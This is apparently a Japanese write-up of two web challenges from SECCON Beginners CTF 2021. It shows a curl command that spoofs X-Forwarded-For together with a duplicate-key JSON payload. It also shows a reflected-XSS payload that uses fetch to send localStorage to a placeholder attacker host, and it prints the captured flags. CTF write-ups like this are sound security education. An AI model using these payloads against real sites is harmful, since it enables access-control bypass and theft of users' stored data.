2021/05/22 14:00から24時間開催されたSECCON Beginners CTF 2021にkatagaitaiのメンバーとして参加しました。
Web全完に貢献したので、解いた問題について書きます。
json (Web, 109pt, 204 solved, Medium)
問題
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
概要
- X-Forwarded-For ヘッダで接続元アドレスを詐称
- jsonパーサがAPIサーバとBFFサーバで異なることを発見し、解釈ずれを起こすペイロードを送信
詳細
アクセスすると下記のメッセージが出るようなWebサイトになっている。
Internal Website / 内部ページ
このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).
あなたのIPアドレスは"xxx.xxx.xxx.xxx"です。Your IP adress is "xxx.xxx.xxx.xxx".
あなたはこのページを閲覧できません。You are not allowed to view this page.
これはX-Forwarded-Forヘッダで騙せるので curl -H "X-Forwarded-For: 192.168.111.1"
すればok。
突破すると、次のようなHTMLとJavascriptコードが手に入る
<select id="item">
<option>Quick brown fox</option>
<option>Lorem ipsum</option>
<option>Flag</option>
</select>
let submit = document.getElementById("submit");
let message = document.getElementById("message");
submit.addEventListener("click", (event) => {
message.innerHTML = "";
let xhr = new XMLHttpRequest();
xhr.open("POST", "/");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = () => {
if (xhr.status === 200) {
message.innerHTML =
'<article class="message is-success"><div class="message-header"><p>Success</p></div><div class="message-body">' +
JSON.parse(xhr.response).result +
"</div></article>";
} else {
message.innerHTML =
'<article class="message is-danger"><div class="message-header"><p>Error</p></div><div class="message-body">' +
JSON.parse(xhr.response).error +
"</div></article>";
}
};
data = JSON.stringify({
id: document.getElementById("item").selectedIndex,
});
xhr.send(data);
});
コードを読んでわかる通り、 POST /
で {"id": 1}
のようなjsonを送れば良い。
この問題はidに2を指定するとフラグが抜ける(APIソースより)のだが、BFFのソースコードを読むとidに2を指定すると400が帰ってしまう。
// parse json
var info Info
if err := json.Unmarshal(body, &info); err != nil {
c.JSON(400, gin.H{"error": "Invalid parameter."})
return
}
// validation
if info.ID < 0 || info.ID > 2 {
c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
return
}
そのため、素直に {"id": 2}
を送ると怒られる
{"error":"It is forbidden to retrieve Flag from this BFF server."}
ソースを見ると、BFFはデフォルトのjsonを使っているのに対し、APIはbuger/jsonparserを使っている
id, err := jsonparser.GetInt(body, "id")
本当はこの後詳しくソース解析をしたほうが良いのだが、「多分同じキーを2回つけたら解釈変わるんじゃない?」と思って試したら本当にそうだった。
$ curl -H "X-Forwarded-For: 192.168.111.1" -H "Content-Type: Application/json" -d"{\"id\": 2, \"id\": 0}" https://json.quals.beginners.seccon.jp/;
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
magic (Web, 383pt, 31 solved, Hard)
問題
トリックを見破れますか?
概要
- クローラのローカルストレージを窃取する問題
- Reflected XSSの脆弱性を発見する
解説
いつものレポート機能でクローラに不正リンクを踏ませる問題。
まずはクローラのコードを見る。
// type FLAG in memo field
await page.type('input[name="text"]', FLAG);
await page.click("h1");
// Oh, a URL has arrived. Let's check it.
// (If you set `login` as path in Report page, admin accesses `https://magic.quals.beginners.seccon.jp/login` here.)
await page.goto(APP_URL + path, {
waitUntil: "networkidle2",
timeout: 3000,
});
Javascriptソースを読むと、memoにFLAGを書き込んだ時にlocalStorageに保存されることがわかる。
従ってlocalstorageの値を窃取する攻撃が必要。
お次はいつものCSPチェック。
style-src 'self' ;
script-src 'self' ;
object-src 'none' ;
font-src 'none'
インライン実行は不可能なので、サーバ側にJavascriptファイルをホストさせるかReflected XSSを仕込む必要がありそう。
ソースを探していくと、 /magic
の token
フィールドに不正な値が入っていると反射してくれることを発見。
$ curl "https://magic.quals.beginners.seccon.jp/magic?token=console.log(1)%3B%2F%2F"
console.log(1);// is invalid token.
やりたいのはlocalStorageのmemoを抜くことなので、 fetch
を仕込む。
ちなみに '
や "
は 
や "
にされるので適していないため、バックティックを使う。
fetch(`https://your.hosting.domain/?${localStorage.getItem(`memo`)}`)
上記コードを反射させ、さらにスクリプトとして認識するようにした下記のhtmlを自分のホームに投稿し、自分のマジックリンクをreportして待ち構えれば終了。
<script src="https://magic.quals.beginners.seccon.jp/magic?token=fetch%28%60https%3A%2F%2Fyour.hosting.domain%2F%3F%24%7BlocalStorage.getItem%28%60memo%60%29%7D%60%29%3B%2F%2F"></script>
GET /?ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick} HTTP/1.1
コメント